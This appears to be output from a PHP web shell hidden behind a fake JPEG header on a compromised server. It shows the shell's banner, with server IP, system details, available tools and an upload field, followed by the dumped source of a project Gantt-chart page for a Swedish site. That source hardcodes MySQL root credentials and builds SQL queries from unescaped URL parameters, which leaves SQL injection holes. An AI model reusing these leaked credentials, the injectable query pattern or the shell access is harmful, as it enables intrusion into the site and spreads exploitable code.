????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.48 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/project/ |
Upload File : |
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$StartDate = date("Y-m-d",strtotime("-1 month"));
$EndDate = date("Y-m-d",strtotime("+2 month"));
$NumberOfDates = 90;
$countryId = 1;
if($_GET['CountryId'] == ""){
$_GET['CountryId'] = 1;
$countryId = 1;
}
$sql = "SELECT * FROM ProjectStatus ORDER BY ProjectStatusId";
$result = mysql_query($sql);
$ProjectStatusArray = array();
while ($row = mysql_fetch_assoc($result)){
$temp_array = array();
$temp_array[] = $row['ProjectStatusId'];
$temp_array[] = $row['ProjectStatusDisplayValue'];
$ProjectStatusArray[] = $temp_array;
}
?>
<html>
<head>
<meta charset="iso-8859-1">
<title>GANTT</title>
<style>
table, th, td {
font-size: 10px;
font-family: "Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, "sans-serif";
border: 1px solid;
border-collapse: collapse;
}
</style>
<script type="text/javascript">
function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
</script>
</head>
<body>
<p>Start: <?php echo($StartDate);?>
<br>End: <?php echo($EndDate);?></p>
<p><span class="heading2">
<select name="country" id="country" onChange="MM_jumpMenu('parent',this,0)">
<option value="?" selected="selected">Country</option>
<?php
$sql = "SELECT * FROM Country order by Name asc ";
$x = 0;
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
?>
<option <?php if($row['CountryId'] == $_GET['CountryId']){echo("selected");}?>
value="?CountryId=<?php echo($row['CountryId']);?>&SR=<?php echo($_GET['SR']);?>"
><?php echo($row['Name']);?></option>
<?php }?>
</select>
</span><span class="heading2">
<select name="user2" id="user2" onChange="MM_jumpMenu('parent',this,0)">
<option value="?" selected="selected">Sales Responsible</option>
<?php
$sql = "SELECT * FROM SystemUser WHERE (UserGroupID = 8 or UserGroupID = 12) and CountryId = $countryId and SystemUserStatusId = 1 and Username LIKE '%@%' order by Username asc ";
$x = 0;
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
?>
<option <?php if($row['SystemUserId'] == $_GET['SR']){echo("selected");}?> value="?CountryId=<?php echo($_GET['CountryId']);?>&SR=<?php echo($row['SystemUserId']);?>"><?php echo($row['Username']);?></option>
<?php }?>
</select>
</span> </p>
<table width="5000" >
<tbody>
<tr>
<td width='500'>Project / Date</td>
<td width='100'>Hrs</td>
<td width='250'>Status</td>
<?php
for ($i = 0; $i <= $NumberOfDates; $i++) {
$CellDate = date("Y-m-d",strtotime("-1 month +".$i." days"));
echo("<td width='175'>".$CellDate."</td>");
}
?>
</tr>
<?php
$sql_extra = "and (";
if($_GET['SR'] != ""){
$sql = "SELECT * FROM ICADBalls WHERE SystemUserId = '". $_GET['SR']."'";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$sql_extra .= " ProjectId = '".$row['ProjectId']."' or ";
}
$sql_extra = substr($sql_extra,0,strlen($sql_extra)-3);
$sql_extra .= " )";
}
if(strlen($sql_extra) == 5){
$sql_extra = "";
}
$sql = "SELECT * FROM Project WHERE ProjectPhaseId = 2 and Name not like 'iCAD%' and Name not like 'EP_%' and not ProjectTypeId = 20 and CountryId = '".$_GET['CountryId']."' $sql_extra order by ProductionStartDate asc";
//echo($sql);
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$Name = $row['Name'];
$ProjectId = $row['ProjectId'];
$ProductionStartDate = $row['ProductionStartDate'];
$ProductionCompletedDate = $row['ProductionCompletedDate'];
$CustomerDeliveryDate = $row['CustomerDeliveryDate'];
$PreprocessingStartDate = $row['PreprocessingStartDate'];
$TellAstacusDate = $row['TellAstacusDate'];
$TimeReal = $row['TimeReal'];
$COLOR = "#FFFFFF";
$COUNTER_DEL = 0;
$Today = date("Y-m-d");
foreach ($ProjectStatusArray as &$value) {
$id = $value[0];
$name = $value[1];
if($row['ProjectStatusId'] == $id){
$ProjectStatus = $name;
}
}
?>
<tr>
<td width='500' height="30"><a href="https://icad.astacus.se/project/index.php?page=project&projectId=<?php echo($ProjectId);?>" target="_blank"><?php echo($Name);?> (<?php echo($ProjectId);?>)</a></td>
<td width='100' height="30"> <?php echo($TimeReal);?></td>
<td width='250' height="30"> <?php echo($ProjectStatus);?></td>
<?php
for ($i = 0; $i <= $NumberOfDates; $i++) {
$CellDate = date("Y-m-d",strtotime("-1 month +".$i." days"));
if($ProductionStartDate == $CellDate){
$COLOR = "#00FF00";
echo("<td width='175' bgcolor='$COLOR'>".$ProductionStartDate."</td>");
}else if($ProductionCompletedDate == $CellDate){
echo("<td width='175' bgcolor='$COLOR'>".$ProductionCompletedDate."</td>");
$COLOR = "#026700";
}else if($CustomerDeliveryDate == $CellDate){
echo("<td width='175' bgcolor='$COLOR'>".$CustomerDeliveryDate."</td>");
$COLOR = "#FFFFFF";
$COUNTER_DEL = 0;
}else if($PreprocessingStartDate == $CellDate){
$COLOR = "#d79800";
echo("<td width='175' bgcolor='$COLOR'>".$PreprocessingStartDate."</td>");
}else if($TellAstacusDate == $CellDate){
echo("<td width='175' bgcolor='$COLOR'>".$TellAstacusDate."</td>");
}else{
if($COLOR == "#026700"){
$COUNTER_DEL++;
}
if( $COUNTER_DEL > 14){
$COLOR = "#FF0000";
}
echo("<td width='175' bgcolor='$COLOR'></td>");
}
}
?>
</tr>
<?php }?>
</tbody>
</table>
</body>
</html>